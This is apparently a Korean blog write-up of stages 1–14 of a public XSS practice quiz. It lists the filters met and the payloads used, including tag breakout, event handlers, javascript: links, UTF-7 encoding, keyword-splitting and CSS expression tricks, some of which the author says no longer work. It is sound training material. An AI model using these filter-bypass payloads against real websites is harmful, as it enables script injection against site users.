이번에는 https://xss-quiz.int21h.jp/ 페이지에서 XSS만 문제를 풀어보았다.
#1. alert(document.domain); 명령어를 주입하라고 한다.
아래 공격문을 입력했다.
<script>alert(document.domain);</script>
#2. 이번에도 alert(document.domain); 명령어를 주입하라고 한다. #1과 같은 명령어를 제시하는 것을 보아 우회가 필요하도록 설정되어 있다고 생각한다.
Hint : close the current tag and add SCRIPT tag…
태그를 닫아주고 script 태그를 추가하라고 한다.
"><script>alert(document.domain);</script>
#3. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : The input in text box is properly escaped.
기본 공격문을 넣어보았다.
<script>alert(document.domain);</script>
<b>"<script>alert(document.domain);</script>"</b> 로 “ “에 의해 스크립트가 실행되지 않고 있었다.
아래와 같이 입력 후 패킷을 잡았다.
test 라는 입력한 값과 선택된 나라의 값이 보내지고 있으므로, Japan의 부분을 공격문으로 바꿔보았다.
#4. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : invisible input field
#3의 문제처럼 임의 값을 넣고 패킷을 확인해보았더니 보이지 않는 p3 파라미터가 넘어가고 있다.
p3 값 뒤에서 태그를 닫고, 스크립트 공격문을 추가했다.
“><script>alert(document.domain);</script>
#5. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : length limited text box
이번에는 입력 공간의 길이를 15 글자로 제한하고 있다.
패킷을 잡고 잘린 공격문을 다시 넣고 패킷을 보냈다.
<script>alert(document.domain);</script>
정답이 아니었다.
응답패킷을 확인해보면 입력값 뒤에서 “> 로 막혀있었다.
아래 공격문으로 바꾸어 패킷을 보내보았다.
"><script>alert(document.domain);</script><”
#6. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : event handler attributes
이벤트 핸들러 특성
우선 기본 공격문을 넣고 패킷을 확인해보았다.
<script>alert(document.domain);</script>
<, > 특수문자가 <:, >:로 치환되고, 뒤에 “>로 막혀있다.
힌트를 사용하여 이벤트 핸들러인 onclick를 사용해 대입해서 문제를 풀었다.
"onclick="alert(document.domain)
#7. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : nearly the same... but a bit more tricky.
우선 기본 공격문을 넣고 패킷을 확인해보았다.
<script>alert(document.domain);</script>
이번에는 #6 문제처럼 꺽쇠를 <:, >:로 바뀌는 것이 동일하고 기존의 “ “가 없다.
이때 만약 “를 사용하면 "로 변경된다.
아래 명령어가 "로 바뀌며 앞의 value 값을 마무리하고 스크립트가 실행되었다.
"" onclick=alert(document.domain)
#8. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : the 'javascript' scheme.
우선 기본 공격문을 넣고 패킷을 확인해보았다.
<script>alert(document.domain);</script>
이번 문제는 입력한 값으로 링크를 만들어주는 문제이고, 패킷을 확인해보면 꺽쇠를 <:, >:로 바뀌는 것이 존재한다.
꺽쇠 필터링을 우회하기 위해 아래 이벤트 핸들러 공격문을 넣어주었다.
"" onclick=alert(document.domain)
그러나 위와 같이 입력값을 더블쿼터로 묶고 있기 때문에 꺽쇠와 더블쿼터 입력이 필요없는 아래 공격문을 사용했다.
javascript:alert(document.domain);
#9. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : UTF-7 XSS
우선 기본 공격문을 넣고 패킷을 확인해보았다.
<script>alert(document.domain);</script>
패킷을 확인해보면 charset=euc-jp 타입이 파라미터로 들어가있다.
앞의 문제들처럼 필터링이 되고 있고 하단에 앞에서 보았던 charset 값도 보인다.
- 아직은 charset의 역할을 모르겠다.
우선 앞에서 우회했던 구문들처럼 공격문만 다시 넣어보았다.
- 아예 <script></script>가 사라져버린다.
그냥 charset 값을 없애버렸지만 별 차이 없었다.
힌트를 보았다. UTF-7 XSS 라고 한다.
"><script>alert(document.domain);</script><” 공격문을 아래와 같이 UTF-7로 인코딩했다.
+ACIAPgA8-script+AD4-alert(document.domain)+ADsAPA-/script+AD4APCAd-
이번에는 charset의 파라미터를 UTF-7로 바꾸고, 공격문을 삽입하여 보냈다.
실행이 되지 않아서 찾아보았더니 UTF-7은 일부 브라우저에서 실행이 되지 않는다고 한다.
강제적으로 다음 문제로 넘어갔다.
#10. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : s/domain//g;
우선 기본 공격문을 넣고 패킷을 확인해보았다.
<script>alert(document.domain);</script>
패킷을 확인해보면 domain 문자열을 아예 없애버리도록 필터링하고 있다.
필터링 된 공격문을 수정하여 다시 패킷을 보냈더니 성공했다.
"><script>alert(document.domdomainain);</script><”
문제를 풀었지만 다음 문제로 넘어가지지 않아 강제로 이동했다.
- #11 주소 (지금은 사이트 접근이 불가능한 것 같다.)
- http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
- #12 주소
#12. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : "s/[\x00-\x20\<\>\"\']//g;”
우선 기존 간단한 우회 공격문을 넣고 패킷을 확인해보았다.
"><script>alert(document.domain);</script><”
패킷을 확인해보니 아래와 같이 더블쿼터와 꺽쇠가 필터링 되어 없어져 있었다.
아래 공격문으로 바꾸었다.
//모두 실행 되지만 IE에서만 작동함(``)
``onclick=javascript:alert(document.domain);
``/onmouseover=alert(document.domain);
``/onclick=javascript:alert(document.domain);
#13. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : style attribute
우선 기본 공격문을 넣고 어떻게 들어가는지 패킷을 확인해보았다.
<script>alert(document.domain);</script>
꺽쇠를 모두 필터링한다.
꺽쇠가 없는 공격문을 넣어보았다.
onclick=alert(document.domain);
실행되지 않았다.
다른 해결방안을 찾아보다가 style 속성을 활용할 수 있는 방법인 expression 함수를 사용하는 방법을 알아냈다.
expression 함수 : CSS에서 스크립트를 실행할 수 있게 해주는 함수
다음과 같은 공격문을 넣었다.
width: expression(alert(document.domain));
그러나 alert 창이 뜨지 않는다.
onclick 공격문으로 바꾸었다.
" onclick=alert(document.domain);
왜 안뜨지
expression(alert(this.style.x||alert(document.domain),this.style.x=1));
문제가 이상한걸까…..
그냥 다음으로 넘어갔다.
http://xss-quiz.int21h.jp/stage-_-14.php?sid=b8c3d15b255414686ee87fdca46a6da8325bd7b7
#14. 이번에도 alert(document.domain); 명령어를 주입하라고 한다.
Hint : s/(url|script|eval|expression)/xxx/ig;
우선 기본 공격문을 넣고 어떻게 들어가는지 패킷을 확인해보았다.
<script>alert(document.domain);</script>
< → <, script(expression 인식) → xxx, > → > 로 값을 바꾸어주고있다.
아래 문자열을 사용해 공격문을 바꾸어 넣어주었다.
xss:ex/**/pression(alert(document.domain));
expression이 우회되는 것을 막기 위해 /**/라는 주석을 사용해 연결되도록 해준다.
style 항목에 사용 가능한 방법으로, CSS의 expression 스크립트 확장 기능을 이용한 공격 기법이다.
그러나 또 실행이 되지 않는다…..ㅠㅠ 알아보니 지원이 종료된 기능인 듯 하다.
다음 문제를 넘어가기 위해 그냥 응답값에 onclick 을 사용해 스크립트를 넣고 넘어갔다.
onclick="alert(document.domain);"
http://xss-quiz.int21h.jp/stage__15.php?sid=259a1c852e16b6049b3d971810d056f2da547cde
문제 후반으로 갈수록 패치되어 요즘은 지원하지 않는 공격기법들로 인해 진행이 어려운 것 같아 여기까지만 풀었다....